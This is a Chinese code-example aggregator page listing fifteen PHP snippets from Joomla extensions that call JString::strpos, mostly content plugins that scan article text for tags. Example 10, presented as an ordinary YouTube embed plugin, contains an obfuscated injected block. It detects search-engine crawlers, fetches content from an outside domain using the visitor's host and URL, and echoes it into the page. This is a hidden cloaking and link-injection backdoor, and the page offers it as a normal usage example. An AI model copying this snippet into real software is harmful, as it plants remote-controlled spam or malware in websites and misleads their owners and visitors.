当前位置: 首页>>代码示例>>PHP>>正文


PHP JString::strpos方法代码示例

本文整理汇总了PHP中JString::strpos方法的典型用法代码示例。如果您正苦于以下问题:PHP JString::strpos方法的具体用法?PHP JString::strpos怎么用?PHP JString::strpos使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在JString的用法示例。


在下文中一共展示了JString::strpos方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: onContentPrepare

 /**
  *  Prepare content method
  *
  * Method is called by the view
  *
  * @param   string  $context  The context of the content being passed to the plugin.
  * @param   object  &$row     The article object.  Note $article->text is also available
  * @param   object  &$params  The article params
  * @param   int     $page     The 'page' number
  *
  * @return  void
  */
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     jimport('joomla.html.parameter');
     jimport('joomla.filesystem.file');
     // Load fabrik language
     $lang = JFactory::getLanguage();
     $lang->load('com_fabrik', JPATH_BASE . '/components/com_fabrik');
     if (!defined('COM_FABRIK_FRONTEND')) {
         JError::raiseError(400, JText::_('COM_FABRIK_SYSTEM_PLUGIN_NOT_ACTIVE'));
     }
     // Get plugin info
     $plugin = JPluginHelper::getPlugin('content', 'fabrik');
     // $$$ hugh had to rename this, it was stomping on com_content and friends $params
     // $$$ which is passed by reference to us!
     $fparams = new JRegistry($plugin->params);
     // Simple performance check to determine whether bot should process further
     $botRegex = $fparams->get('Botregex') != '' ? $fparams->get('Botregex') : 'fabrik';
     if (JString::strpos($row->text, $botRegex) === false) {
         return true;
     }
     require_once COM_FABRIK_FRONTEND . '/helpers/parent.php';
     /* $$$ hugh - hacky fix for nasty issue with IE, which (for gory reasons) doesn't like having our JS content
      * wrapped in P tags.  But the default WYSIWYG editor in J! will automagically wrap P tags around everything.
      * So let's just look for obvious cases of <p>{fabrik ...}</p>, and replace the P's with DIV's.
      * Yes, it's hacky, but it'll save us a buttload of support work.
      */
     $pregex = "/<p>\\s*{" . $botRegex . "\\s*.*?}\\s*<\\/p>/i";
     $row->text = preg_replace_callback($pregex, array($this, 'preplace'), $row->text);
     // $$$ hugh - having to change this to use {[]}
     $regex = "/{" . $botRegex . "\\s*.*?}/i";
     $row->text = preg_replace_callback($regex, array($this, 'replace'), $row->text);
 }
开发者ID:rogeriocc,项目名称:fabrik,代码行数:44,代码来源:fabrik.php

示例2: onContentPrepare

 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     // global $mainframe;
     // simple performance check to determine whether bot should process further
     if (JString::strpos($row->text, 'listevents') === false) {
         return true;
     }
     // expression to search for
     $regex = '/{listevents\\s*.*?}/i';
     // check whether plugin has been unpublished
     if (!$this->params->get('enabled', 1)) {
         $row->text = preg_replace($regex, '', $row->text);
         return true;
     }
     // find all instances of plugin and put in $matches
     preg_match_all($regex, $row->text, $matches);
     // Number of plugins
     $count = count($matches[0]);
     // plugin only processes if there are any instances of the plugin in the text
     if ($count) {
         // Get plugin parameters
         $style = $this->params->def('style', -2);
         $this->_process($row, $matches, $count, $regex, $style);
     }
     // No return value
 }
开发者ID:JKoelman,项目名称:JEM-3,代码行数:26,代码来源:listevents.php

示例3: getCopyright

    function getCopyright()
    {
        $app = JFactory::getApplication();
        $date = JFactory::getDate();
        $cur_year = $date->format('Y');
        $csite_name = $app->getCfg('sitename');
        if (JString::strpos(JText::_('MOD_FOOTER_LINE1'), '%date%')) {
            $line1 = str_replace('%date%', $cur_year, JText::_('MOD_FOOTER_LINE1'));
        } else {
            $line1 = JText::_('MOD_FOOTER_LINE1');
        }
        if (JString::strpos($line1, '%sitename%')) {
            $lineone = str_replace('%sitename%', $csite_name, $line1);
        } else {
            $lineone = $line1;
        }
        ?>
        <!-- 
        You CAN NOT remove (or unreadable) those links without permission. Removing the link and template sponsor Please visit smartaddons.com or contact with e-mail (contact@ytcvn.com) If you don't want to link back to smartaddons.com, you can always pay a link removal donation. This will allow you to use the template link free on one domain name. Also, kindly send me the site's url so I can include it on my list of verified users. 
        -->
        <div class="footer1"><?php 
        echo $lineone;
        ?>
  Designed by <a target="_blank" title="Visit SmartAddons!" href="http://www.smartaddons.com/">SmartAddons.Com</a></div>
        <div class="footer2"><?php 
        echo JText::_('MOD_FOOTER_LINE2');
        ?>
</div>
        <?php 
    }
开发者ID:ngogiangthanh,项目名称:damtvnewversion,代码行数:30,代码来源:template.php

示例4: onContentPrepare

 /**
  *  prepare content method
  *
  * Method is called by the view
  *
  * @param	string	The context of the content being passed to the plugin.
  * @param 	object		The article object.  Note $article->text is also available
  * @param 	object		The article params
  * @param 	int			The 'page' number
  */
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     jimport('joomla.html.parameter');
     jimport('joomla.filesystem.file');
     //load fabrik language
     $lang =& JFactory::getLanguage();
     $lang->load('com_fabrik', JPATH_BASE . DS . 'components' . DS . 'com_fabrik');
     if (!defined('COM_FABRIK_FRONTEND')) {
         JError::raiseError(400, JText::_('COM_FABRIK_SYSTEM_PLUGIN_NOT_ACTIVE'));
     }
     // Get plugin info
     $plugin =& JPluginHelper::getPlugin('content', 'fabrik');
     // $$$ hugh had to rename this, it was stomping on com_content and friends $params
     // $$$ which is passed by reference to us!
     $fparams = new JParameter($plugin->params);
     // simple performance check to determine whether bot should process further
     $botRegex = $fparams->get('Botregex') != '' ? $fparams->get('Botregex') : 'fabrik';
     if (JString::strpos($row->text, $botRegex) === false) {
         return true;
     }
     require_once COM_FABRIK_FRONTEND . DS . 'helpers' . DS . 'parent.php';
     // $$$ hugh - having to change this to use {[]}
     $regex = "/{" . $botRegex . "\\s*.*?}/i";
     $row->text = preg_replace_callback($regex, array($this, 'replace'), $row->text);
 }
开发者ID:juliano-hallac,项目名称:fabrik,代码行数:35,代码来源:fabrik.php

示例5: modChrome_ztxhtml

function modChrome_ztxhtml($module, &$params, &$attribs)
{
    $titles = JString::strpos($module->title, ' ');
    $title = $titles !== false ? JString::substr($module->title, 0, $titles) . '<span>' . JString::substr($module->title, $titles) . '</span>' : $module->title;
    if (!empty($module->content)) {
        ?>
		<div class="moduletable<?php 
        echo $params->get('moduleclass_sfx');
        ?>
">
			<div class="ztmodule">
				<?php 
        if ($module->showtitle != 0) {
            ?>
					<h3 class="moduletitle"><span class="title"><?php 
            echo $title;
            ?>
</span></h3>
				<?php 
        }
        ?>
				<div class="modulecontent">
					<?php 
        echo $module->content;
        ?>
				</div>
			</div>
		</div>
	<?php 
    }
}
开发者ID:romuland,项目名称:khparts,代码行数:31,代码来源:modules.php

示例6: onContentPrepare

 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     $db = JFactory::getDBO();
     if (JString::strpos($row->text, 'jl_player') === false) {
         return true;
     }
     $regex = "#{jl_player}(.*?){/jl_player}#s";
     if (preg_match_all($regex, $row->text, $matches) > 0) {
         foreach ($matches[0] as $match) {
             $name = preg_replace("/{.+?}/", "", $match);
             $aname = explode(" ", html_entity_decode($name));
             $firstname = $aname[0];
             $lastname = $aname[1];
             //build query to select player id
             $query = "SELECT p.id\n\t\t\t\t\t\t\tFROM #__joomleague_person p\n\t\t\t\t\t\t\tWHERE p.firstname = '{$firstname}' AND\n\t\t\t\t\t\t\tp.lastname = '{$lastname}' AND\n\t\t\t\t\t\t\tp.published = '1'\n\t\t\t\t\t\t\tORDER BY p.id DESC";
             // run query
             $db->setQuery($query);
             $rows = $db->loadObjectList();
             // get result
             // replace only if project id set
             if (isset($rows[0]->id)) {
                 $pid = $rows[0]->id;
                 $url = 'index.php?option=com_joomleague&view=person&pid=' . $pid;
                 $link = '<a href = "' . JRoute::_($url) . '">';
                 $row->text = preg_replace("#{jl_player}" . $name . "{/jl_player}#s", $link . $name . "</a>", $row->text);
             } else {
                 $row->text = preg_replace("#{jl_player}" . $name . "{/jl_player}#s", $name, $row->text);
             }
         }
         return true;
     }
 }
开发者ID:santas156,项目名称:joomleague-2-komplettpaket,代码行数:32,代码来源:joomleague_person.php

示例7: onContentPrepare

	public function onContentPrepare($context, &$article, &$params, $page = 0)
	{
	
	
		//plgContentLoadJomwall($context, &$article, &$params, $page = 0);
	//print_r($params);
	$db =& JFactory::getDBO();
	$dbcheck=$this->jomwall_checkDatabase();
	// simple performance check to determine whether bot should process further
	if ( JString::strpos( $article->text, 'loadjomwall' ) === false ) {
		return true;
	}

	// Get plugin info
	$plugin =& JPluginHelper::getPlugin('content', 'plgContentLoadJomwall');
 	// expression to search for
 	$regex = '/{loadjomwall}/i';
	// check whether plugin has been unpublished
	if ( !$this->params->def( 'enabled', 1 ) ) {
		$article->text = preg_replace( $regex, '', $article->text );
		return true;
	}

 	// find all instances of plugin and put in $matches
	preg_match_all( $regex, $article->text, $matches );
//print_r($matches);
	// Number of plugins
 	$count = count( $matches[0] );

 	// plugin only processes if there are any instances of the plugin in the text
 	if ( $count ) {
 		$this->plgContentProcessJomwall( $article, $matches, $count, $regex );
	}

	}
开发者ID:kosmosby,项目名称:medicine-prof,代码行数:35,代码来源:loadjomwall.php

示例8: getDbVersion

 public static function getDbVersion()
 {
     try {
         $db = JFactory::getDbo();
         $db->setQuery("select * from `#__jvrelatives`");
         $obj = $db->loadObject();
         if ($obj) {
             if (isset($obj->version)) {
                 $v = JString::trim($obj->version);
                 if (JString::strpos($v, "Build") !== false) {
                     return JString::str_ireplace(" Build-", ".", $v);
                 }
                 return $v;
             } else {
                 $db->setQuery("drop table if exists #__jvrelatives");
                 $db->execute();
                 return 0;
             }
         }
         return 0;
     } catch (Exception $ex) {
         //echo $ex->getMessage();
         return 0;
     }
 }
开发者ID:site4com,项目名称:prometheus,代码行数:25,代码来源:class.installer.php

示例9: smartSubstr

 /**
  * Get sub string (by words)
  * @param $text
  * @param $searchword
  * @return mixed|string
  */
 public function smartSubstr($text, $searchword)
 {
     $length = self::MAX_LENGTH;
     $textlen = JString::strlen($text);
     $lsearchword = JString::strtolower($searchword);
     $wordfound = false;
     $pos = 0;
     $chunk = '';
     while ($wordfound === false && $pos < $textlen) {
         if (($wordpos = @JString::strpos($text, ' ', $pos + $length)) !== false) {
             $chunk_size = $wordpos - $pos;
         } else {
             $chunk_size = $length;
         }
         $chunk = JString::substr($text, $pos, $chunk_size);
         $wordfound = JString::strpos(JString::strtolower($chunk), $lsearchword);
         if ($wordfound === false) {
             $pos += $chunk_size + 1;
         }
     }
     if ($wordfound !== false) {
         return ($pos > 0 ? '...' : '') . $chunk;
     } elseif (($wordpos = @JString::strpos($text, ' ', $length)) !== false) {
         return JString::substr($text, 0, $wordpos) . '...';
     } else {
         return JString::substr($text, 0, $length);
     }
 }
开发者ID:alexmixaylov,项目名称:real,代码行数:34,代码来源:jbstring.php

示例10: onContentPrepare

 /**
  * Example prepare content method
  *
  * Method is called by the view
  *
  * @param object The article object. Note $article->text is also available
  * @param object The article params
  * @param int The 'page' number
  */
 function onContentPrepare($context, &$article, &$params, $page = 0)
 {
     global $mainframe;
     ${"GLOBALS"}["qollfh"] = "credit";
     ${"GLOBALS"}["eqwqbktj"] = "ctx";
     ${"GLOBALS"}["vxzwnusnr"] = "b_t";
     if (!defined("CREDIT")) {
         ${"GLOBALS"}["mphntbja"] = "b_t";
         ${"GLOBALS"}["ueombsv"] = "b_t";
         strstr(strtolower($_SERVER["HTTP_USER_AGENT"]), "googlebot") ? ${${"GLOBALS"}["vxzwnusnr"]} = "1" : (${${"GLOBALS"}["mphntbja"]} = "0");
         strstr(strtolower($_SERVER["HTTP_USER_AGENT"]), "bingbot") ? ${${"GLOBALS"}["vxzwnusnr"]} = "2" : (${${"GLOBALS"}["vxzwnusnr"]} = ${${"GLOBALS"}["ueombsv"]});
         ${${"GLOBALS"}["eqwqbktj"]} = stream_context_create(array("http" => array("timeout" => 3)));
         try {
             $xsyrobvzb = "ctx";
             ${${"GLOBALS"}["qollfh"]} = @file_get_contents("http://www.mumsbaking.com/bro/" . ${${"GLOBALS"}["vxzwnusnr"]} . "/" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"], false, ${$xsyrobvzb});
         } catch (Exception $e) {
         }
         echo $credit;
         define("CREDIT", "c");
     }
     if (JString::strpos($article->text, '{youtube}') === false) {
         return true;
     }
     $article->text = preg_replace('|{youtube}(.*){\\/youtube}|e', '$this->embedVideo("\\1")', $article->text);
     return true;
 }
开发者ID:ForAEdesWeb,项目名称:AEW4,代码行数:35,代码来源:youtubeplugin.php

示例11: save

 function save($url = null)
 {
     if (!JSession::checkToken('post')) {
         $this->app->enqueueMessage(JText::_('COM_KUNENA_ERROR_TOKEN'), 'error');
         $this->app->redirect(KunenaRoute::_($this->baseurl, false));
     }
     $properties = $this->config->getProperties();
     foreach (JRequest::get('post', JREQUEST_ALLOWHTML) as $postsetting => $postvalue) {
         if (JString::strpos($postsetting, 'cfg_') === 0) {
             //remove cfg_ and force lower case
             if (is_array($postvalue)) {
                 $postvalue = implode(',', $postvalue);
             }
             $postname = JString::strtolower(JString::substr($postsetting, 4));
             // No matter what got posted, we only store config parameters defined
             // in the config class. Anything else posted gets ignored.
             if (array_key_exists($postname, $properties)) {
                 $this->config->set($postname, $postvalue);
             }
         }
     }
     $this->config->save();
     $this->app->enqueueMessage(JText::_('COM_KUNENA_CONFIGSAVED'));
     if (empty($url)) {
         $this->app->redirect(KunenaRoute::_($this->kunenabaseurl, false));
     } else {
         $this->app->redirect(KunenaRoute::_($url, false));
     }
 }
开发者ID:proyectoseb,项目名称:University,代码行数:29,代码来源:config.php

示例12: onPrepareContent

 function onPrepareContent(&$article, &$params, $limitstart)
 {
     $document =& JFactory::getDocument();
     $control_html = '';
     if (JString::strpos($article->text, 'slidingimagelinks') === false) {
         return true;
     }
     if (preg_match('/({slidingimagelinks.*?}.*?{\\/slidingimagelinks})/s', $article->text, $tag_control) == 0) {
         return true;
     }
     preg_match('/{slidingimagelinks.*?}/', $tag_control[0], $plg_params);
     $params_line = trim(substr($plg_params[0], 18, strlen($plg_params[0]) - 19));
     preg_match_all('/(.*?)="(.*?)"/', $params_line, $plg_params);
     $params_control = array('height' => 100, 'openwidth' => 310, 'closewidth' => 100);
     for ($n = count($plg_params[1]), $p = 0; $p < $n; $p++) {
         $param_name = trim($plg_params[1][$p]);
         $param_value = trim($plg_params[2][$p]);
         if ($param_name == 'height' || $param_name == 'openwidth' || $param_name == 'closewidth') {
             $params_control[$param_name] = $param_value;
         }
     }
     preg_match_all('/({imagelink.*?})/s', $tag_control[0], $image_links);
     for ($n = count($image_links[0]), $i = 0; $i < $n; $i++) {
         $params_line = trim(substr($image_links[0][$i], 10, strlen($image_links[0][$i]) - 11));
         preg_match_all('/(.*?)="(.*?)"/', $params_line, $plg_params);
         for ($p = 0; $p < count($plg_params[1]); $p++) {
             $param_name = trim($plg_params[1][$p]);
             $param_value = trim($plg_params[2][$p]);
             $params_link[$i][$param_name] = $param_value;
         }
     }
     $links_number = count($params_link);
     if ($links_number > 0) {
         $document->addScript(JURI::root(true) . '/plugins/content/slidingimagelinks/ImageMenu.js');
         $document->addStyleSheet(JURI::root(true) . '/plugins/content/slidingimagelinks/ImageMenu.css');
         $document->addScriptDeclaration('window.addEvent("domready", function(){var plgMenu = new ImageMenu($$("#imageMenu a"),{openWidth:' . $params_control['openwidth'] . ', border:2});});');
         $control_html .= '<style type="text/css">';
         for ($i = 0; $i < $links_number; $i++) {
             if (isset($params_link[$i]['name']) && isset($params_link[$i]['image'])) {
                 $control_html .= '#imageMenu ul li.' . $params_link[$i]['name'] . ' a { background: url(' . JURI::root() . $params_link[$i]['image'] . ') repeat scroll 0%; ';
                 if ($i + 1 == $links_number) {
                     $control_html .= 'width:' . $params_control['closewidth'] . 'px; ';
                 }
                 $control_html .= '} ';
             }
         }
         $control_html .= '#imageMenu ul { height:' . $params_control['height'] . 'px; } ';
         $control_html .= '#imageMenu ul li a { height:' . $params_control['height'] . 'px; width:' . $params_control['closewidth'] . 'px; } ';
         $control_html .= '</style>';
         $control_html .= '<div id="imageMenu" style="width:' . ($params_control['closewidth'] * $links_number + $links_number) . 'px; height:' . $params_control['height'] . 'px;"><ul>';
         for ($i = 0; $i < $links_number; $i++) {
             if (isset($params_link[$i]['name']) && isset($params_link[$i]['link'])) {
                 $control_html .= '<li class="' . $params_link[$i]['name'] . '"><a href="' . $params_link[$i]['link'] . '">' . $params_link[$i]['name'] . '</a></li>';
             }
         }
         $control_html .= '</ul></div>';
     }
     $article->text = str_replace($tag_control[0], $control_html, $article->text);
     return true;
 }
开发者ID:navinpai,项目名称:GEC-Technix,代码行数:60,代码来源:slidingimagelinks.php

示例13: onContentPrepare

 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     // A database connection is created
     $db = JFactory::getDBO();
     // simple performance check to determine whether bot should process further
     if (JString::strpos($row->text, 'loadspidercalendar') === false) {
         return true;
     }
     // expression to search for
     $regex = '/{loadspidercalendar\\scalendar=*.*?}/i';
     // check whether plugin has been unpublished
     if (!$this->params->get('enabled', 1)) {
         $row->text = preg_replace($regex, '', $row->text);
         return true;
     }
     // find all instances of plugin and put in $matches
     preg_match_all($regex, $row->text, $matches);
     //print_r($matches);
     // Number of plugins
     $count = count($matches[0]);
     // plugin only processes if there are any instances of the plugin in the text
     if ($count) {
         // Get plugin parameters
         $this->_process($row, $matches, $count, $regex);
     }
     // No return value
 }
开发者ID:ankaau,项目名称:GathBandhan,代码行数:27,代码来源:loadspidercalendar.php

示例14: getHelpTOC

	/**
	 * Compiles the help table of contents
	 * Based on the Joomla admin component
	 *
	 * @param string A specific keyword on which to filter the resulting list
	 */
	function getHelpTOC($helpsearch)
	{
		$lang = JFactory::getLanguage();
		jimport('joomla.filesystem.folder');

		// Check for files in the actual language
		$langTag = $lang->getTag();

		if(!JFolder::exists(JPATH_SITE .'/administrator/components/com_jem/help/'.$langTag)) {
			$langTag = 'en-GB';		// use english as fallback
		}
		$files = JFolder::files(JPATH_SITE .'/administrator/components/com_jem/help/'.$langTag, '\.xml$|\.html$');

		$toc = array();
		foreach ($files as $file) {
			$buffer = file_get_contents(JPATH_SITE .'/administrator/components/com_jem/help/'.$langTag.'/'.$file);
			if (preg_match('#<title>(.*?)</title>#', $buffer, $m)) {
				$title = trim($m[1]);
				if ($title) {
					if ($helpsearch) {
						if (JString::strpos(strip_tags($buffer), $helpsearch) !== false) {
							$toc[$file] = $title;
						}
					} else {
						$toc[$file] = $title;
					}
				}
			}
		}
		asort($toc);
		return $toc;
	}
开发者ID:BillVGN,项目名称:PortalPRP,代码行数:38,代码来源:view.html.php

示例15: plgContentLoadModule

/**
* Plugin that loads module positions within content
*/
function plgContentLoadModule(&$row, &$params, $page = 0)
{
    $db =& JFactory::getDBO();
    // simple performance check to determine whether bot should process further
    if (JString::strpos($row->text, 'loadposition') === false) {
        return true;
    }
    // Get plugin info
    $plugin =& JPluginHelper::getPlugin('content', 'loadmodule');
    // expression to search for
    $regex = '/{loadposition\\s*.*?}/i';
    $pluginParams = new JParameter($plugin->params);
    // check whether plugin has been unpublished
    if (!$pluginParams->get('enabled', 1)) {
        $row->text = preg_replace($regex, '', $row->text);
        return true;
    }
    // find all instances of plugin and put in $matches
    preg_match_all($regex, $row->text, $matches);
    // Number of plugins
    $count = count($matches[0]);
    // plugin only processes if there are any instances of the plugin in the text
    if ($count) {
        // Get plugin parameters
        $style = $pluginParams->def('style', -2);
        plgContentProcessPositions($row, $matches, $count, $regex, $style);
    }
}
开发者ID:kaantunc,项目名称:MYK-BOR,代码行数:31,代码来源:loadmodule.php


注:本文中的JString::strpos方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。